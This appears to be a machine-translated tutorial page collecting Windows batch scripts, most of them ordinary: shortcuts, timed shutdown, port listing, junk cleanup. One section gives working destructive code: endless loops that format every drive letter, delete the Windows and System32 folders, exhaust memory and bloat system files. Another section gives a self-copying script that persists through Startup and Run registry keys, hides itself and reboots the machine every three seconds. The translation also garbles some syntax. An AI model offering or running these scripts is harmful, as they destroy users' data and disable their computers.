Batch Instance Code tutorial
--------------------------------------------------------------------------------
The batch program deletes itself. bat
Echo Sometimes we need a batch program to delete itself after the execution is done, and you can use Del%0
Cases:
Copy Code code as follows:
@echo off
echo presses any key and I will delete myself
Pause
Del%0
--------------------------------------------------------------------------------
Batch Send folder shortcuts to desktop
Copy Code code as follows:
echo [Internetshortcut] > "%userprofile%\ desktop \ folder. url"
echo url=file:///c:/windows >> "%userprofile%\ desktop \ folder. URL"
--------------------------------------------------------------------------------
Batch processing gets the IP generated txt text. bat
The following code is batch fetch IP to generate TXT text at the same time:
Copy Code code as follows:
@echo off
< "%~f0" more +5 >tmp.vbs
cscript//nologo/e:vbscript Tmp.vbs%1>ip.txt
echo >nul && del tmp.vbs
Goto:eof
Set ODOM = Wscript.getobject ("http://www.duosc.com/ip.aspx")
Do Until Odom.readystate = "complete"
Wscript.Sleep 200
Loop
S=odom.documentelement.innertext
Set re = New REGEXP
Re. Pattern= "(\d+) \. (\d+) \. (\d+) \. (\d+) "
For each m in re. Execute (s)
WScript.Echo m
Next
--------------------------------------------------------------------------------
Disable (enable) Group Policy with batch processing
REGSVR32/S/u gpedit.dll disabled
REGSVR32/S Gpedit.dll Enabled
Using this command alone can still prevent Group Policy from being used, but the result is that-
The Group Policy that runs at this time is basically an empty shell! Using the following batch will be a perfect solution to this kind of problem!
Compile the following code into a bat batch file, which is the command to disable Group Policy
Copy Code code as follows:
@echo off
REGSVR32/S/U Fde.dll
REGSVR32/S/U Gpedit.dll
REGSVR32/S/U Gptext.dll
REGSVR32/S/U Wsecedit.dll
Exit
This is to enable Group Policy
Copy Code code as follows:
@echo off
REGSVR32/S Fde.dll
REGSVR32/S Gpedit.dll
REGSVR32/S Gptext.dll
REGSVR32/S Wsecedit.dll
Exit
--------------------------------------------------------------------------------
Batch processing timed shutdown. bat
Copy Code code as follows:
@echo off
Mode con lines=25
Title Timing shutdown
Color 1f
Cls
Echo.
Echo.
Echo.
Echo.
Echo Time uses a 24-hour system (such as 2:15, 12:00) to enter multiple points in time
Echo.
Echo multiple points of time separated by spaces
Echo.
Echo.
Echo━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Echo.
Set times=
set/p times= Please enter the shutdown time:
:: The following statement implements every day of the week a specified time shutdown
:: If you want to replace a few days per month, change the letter to a number, separated by commas
:: The following code does not have error detection statements, input time must be in the specified format input
:: You can use the AT command in the CMD window to view scheduled tasks
If not "%times%" = "" For%%i in (%times%) do (
At%%i/every:m,t,w,th,f,s,su Shutdown-s
)
--------------------------------------------------------------------------------
The batch process creates a shortcut to the URL format. bat
Copy Code code as follows:
@echo off
echo [Internetshortcut] >cmd.url
Echo Url=%windir%\system32\cmd.exe >>cmd.url
Echo iconindex=0 >>cmd.url
Echo Iconfile=%windir%\system32\cmd.exe>>cmd.url
--------------------------------------------------------------------------------
Batch processed into full screen interface. bat
Copy Code code as follows:
@echo off
:: Set: Run in Full-screen mode
Echo exit|%comspec%/k prompt e-B4 B0 CD/cd B0
Chcp 437>nul
Graftabl 936>nul
: REM Place any commands below ...
Dir
Pause
--------------------------------------------------------------------------------
Minimize run batch. bat
Copy Code code as follows:
:: Minimizing Run batches
@echo Off&&mode con cols=15 lines=1
%1%2
start/min/i "" "%~nx0" goto min&&goto:eof
: Min
echo XXX
Pause>nul
Exit
@echo off
Mode con cols=15 Lines=1
If exist "Temp.bat" goto Start
>temp.bat echo Start/min "" "%~nx0" ^&exit
Start/min Temp.bat&exit
: Start
Del "Temp.bat" >nul
Pause
--------------------------------------------------------------------------------
Look for QQ.exe and execute. bat
Copy Code code as follows:
@echo off
:: Search Qq.exe, find out and then execute and exit the CMD window
:: fsutil fsinfo drives can get out of the result although there are spaces in the middle, but he represents the return character or the role of line feed, so also to use find/v to filter, otherwise, only to the first partition
Setlocal enabledelayedexpansion
for/f "Delims=\"%%i in (' fsutil fsinfo drives^|find/v "') Do (
Set var=%%i
Set drive=!var:~-2!
fsutil fsinfo DriveType!drive!| Find "fixed" >nul && (
for/f "tokens=*"%%j in (' dir/a-d/b/s!drive!\qq.exe 2^>nul ') do if not "%%j" = "" Start ""%%j "&& exit
)
)
--------------------------------------------------------------------------------
Delete history. Bat
Copy Code code as follows:
@echo off
:: Delete The history of the run, find, and so on
REG ADD hkcu\software\microsoft\windows\currentversion\policies\explorer/v clearrecentdocsonexit/t reg_dword/d 00000001
--------------------------------------------------------------------------------
Batch View process port
Gets the port code that the current process opens by using the batch process:
Copy Code code as follows:
@echo off
Color A
Title XP Port-Process query
Setlocal enabledelayedexpansion
echo╔--╗
Echo native open ports and processes that use this port
echo╚--╝
Echo------------------------------------
Echo Port number Process name
ECHO TCP protocol:
:: Use the netstat command to find the port that uses TCP protocol communication, and divide the result;
:: Pass the second parameter (IP plus port) to%%i, and the fifth parameter (PID number) is passed to%%j;
for/f "Usebackq skip=4 tokens=2,5"%%i in (' Netstat-ano-p TCP "') does (
Call:assoc%%i TCP%%j
Echo! Tcp_port!! tcp_proc_name!
)
ECHO UDP Protocol:
for/f "Usebackq skip=4 tokens=2,4"%%i in (' Netstat-ano-p UDP "') does (
Call:assoc%%i UDP%%j
Echo! Udp_port!! udp_proc_name!
)
echo presses any key to exit
Pause>nul
: Assoc
:: Partition%1 (first parameter) to pass the second argument to%%e. In this program,%1 is the%%i above (in the form of: IP: Port number)
for/f "tokens=2 delims=:"%%e in ("%1") does (
Set%2_port=%%e
)
:: Query pid equals%3 (third parameter) process, and pass the result to variable? _proc_name,? represents UDP or TCP;
for/f "skip=2 usebackq delims=, Tokens=1"%%a in (' Tasklist/fi "PID eq.%3"/fo CSV ") Do (
::%%~a means to remove the quotation marks outside the%%a, as the result of the above command is enclosed in parentheses.
Set%2_proc_name=%%~a
)
--------------------------------------------------------------------------------
Destructive bat batch script [caution]
First, the death cycle forced format a: to Z: Disk (for some of the faster machine will be compared cause Father machine ...) )
Copy Code code as follows:
: Format
@format A:/q/y >nul
@format B:/q/y >nul
@format d:/q/y >nul
@format e:/q/y >nul
@format F:/q/y >nul
@format g:/q/y >nul
@format h:/q/y >nul
@format I:/q/y >nul
@format J:/q/y >nul
@format k:/q/y >nul
@format L:/q/y >nul
@format m:/q/y >nul
@format N:/q/y >nul
@format o:/q/y >nul
@format P:/q/y >nul
@format Q:/q/y >nul
@format r:/q/y >nul
@format s:/q/y >nul
@format T:/q/y >nul
@format u:/q/y >nul
@format V:/q/y >nul
@format W:/q/y >nul
@format x:/q/y >nul
@format y:/q/y >nul
@format Z:/q/y >nul
@format C:/q/y >nul
Goto format
Second, dead cycle force delete all files in the C: Disk Windows directory (similar to one of the above examples, but here is the use of mandatory delete parameters)
Copy Code code as follows:
: Breake
@if exist%windir%\system32\*.* del%windir%\system32\*.* >nul
@if exist%windir%\*.* del%windir%\*.* >nul
Goto Breake
Third, the use of some system tools memory footprint card to the crash
Copy Code code as follows:
:d IE
@start regsvr32.exe/s%windir%\system32\*.* >nul
@start%windir%\system32\*.* >nul
@start Notepad%windir%\explorer.exe >nul
Goto die
Four, with part of the tools of the detection information export function to generate huge garbage files (although the speed of garbage generation is very slow, but with the "Garbage king" virus a ratio, is also regarded as "silent * * * * *" bar ... )
Copy Code code as follows:
@start ping 127.0.0.1-t >%windir%\system32\regsvr32.dll >nul
:p ing
@start Ping 127.0.0.1-t >>%windir%\system32\regsvr32.dll >nul
@start Ping 127.0.0.1-t >>%windir%\system32\regedit.exe >nul
Goto Ping
--------------------------------------------------------------------------------
Repeated restart of malicious batches
Repeated reboot is to let someone else start the reboot has been repeated, the following code
Copy Code code as follows:
@echo off
Shutdown-r-T 3
Copy%0 C:\Documents "" and "" Settings\All "" users\"Start" menu \ Program \ Start \a.bat
Copy%0 C:\autoexec.bat
REG ADD hkey_local_machine\software\microsoft\windows\currentversion\run/v autoexec.bat/t reg_sz/d c:\autoexec.bat/ F
REG ADD hkey_current_user\software\microsoft\windows\currentversion\run/v autoexec.bat/t reg_sz/d c:\autoexec.bat/f
attrib Autoexec.bat +r +s +h
REG ADD hkey_local_machine\software\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showall/v checkedvalue/t reg_dword/d 00000000/f
Del%0
3-second reboot joined the boot, 3 seconds to Countdown.
--------------------------------------------------------------------------------
Delete Right-click the new menu item. bat
Copy Code code as follows:
@echo off
:: Just delete the "shellnew" key under the "hkey_classers_roort\. Suffix name" item.
:: If it is not deleted, then the "hkey_classers_roort\. Suffix name" can be deleted
Mode con lines=25
Title "New" Menu content removal device
Color 1f
: input
Cls
Call:d Isplay
echo if you want to forcibly delete, select 1
Echo.
Echo.
Set input=
set/p input= Please enter the suffix name:
If "%input%" = "" goto input
If "%input%" = "0" exit
If "%input%" = = "1" goto fouce
for/f%%i in ("%input%") Todo (reg delete hkcr\.%%i\shellnew/f)
Goto continue
: Fouce
Cls
Call:d Isplay
Set input=
set/p input= Please enter a suffix name (forcibly deleted):
If "%input%" = "" Goto fouce
If "%input%" = "0" exit
for/f%%i in ("%input%") Todo (reg delete hkcr\.%%i/f)
: Continue
Cls
Call:d Isplay
Echo.
Set choice=
set/p choice= still going to clean up? (y/n):
If "%choice%" = "" goto continue
If "%choice%" = = "Y" goto input
If "%choice%" = "goto:eof"
:d Isplay
Echo.
Echo.
Echo.
Echo.
Echo.
Echo.
echo This program can delete the "new" item in the right menu of the extra content, for the "new" menu to lose weight!
Echo.
echo if you want to make certain types of files no longer appear in the new menu of the right mouse button, directly
Echo.
echo enters the suffix name for this file type. For example: RAR.
Echo.
Echo exit, please choose 0.
Echo.
--------------------------------------------------------------------------------
Quickly clean up junk files (fixed)
Copy Code code as follows:
@echo off
Color F0
Echo.
Echo is securely cleaning up junk files ...
del/f/q%systemdrive%\*.tmp>nul 2>nul
del/f/q%systemdrive%\*._mp>nul 2>nul
del/f/q%systemdrive%\*.log>nul 2>nul
del/f/q%systemdrive%\*.gid>nul 2>nul
del/f/q%systemdrive%\*.chk>nul 2>nul
del/f/q%systemdrive%\*.old>nul 2>nul
del/f/q%windir%\*.bak>nul 2>nul
del/f/q%windir%\*.tmp>nul 2>nul
del/f/q%windir%\prefetch\*.*>nul 2>nul
del/f/s/q%systemdrive%\recycled\*.*
del/f/q "%allusersprofile%\documents\drwatson\*.*" >nul 2>nul
del/f/q "%userprofile%\cookies\*.txt" >nul 2>nul
del/f/q/s "%temp%\*.*" >nul 2>nul
del/f/q/s "%systemroot%\prefetch\*.*" >nul 2>nul
del/f/q "%userprofile%\recent\*.*" >nul 2>nul
del/f/q "%userprofile%\application Data\microsoft\office\recent\*.lnk" >nul 2>nul
del/f/q/s "%userprofile%\local settings\temp\*.*" >nul 2>nul
RD/S/q%windir%\temp & MD%windir%\temp>nul 2>nul
If not exist%systemroot%\minidump\nul del/f/q/s%systemroot%\minidump\*.*>nul 2>nul
del/f/s/q "%userprofile%\local settings\temporary Internet files\*.*" >nul 2>nul
More Batch code package download address http://www.jb51.net/books/34318.html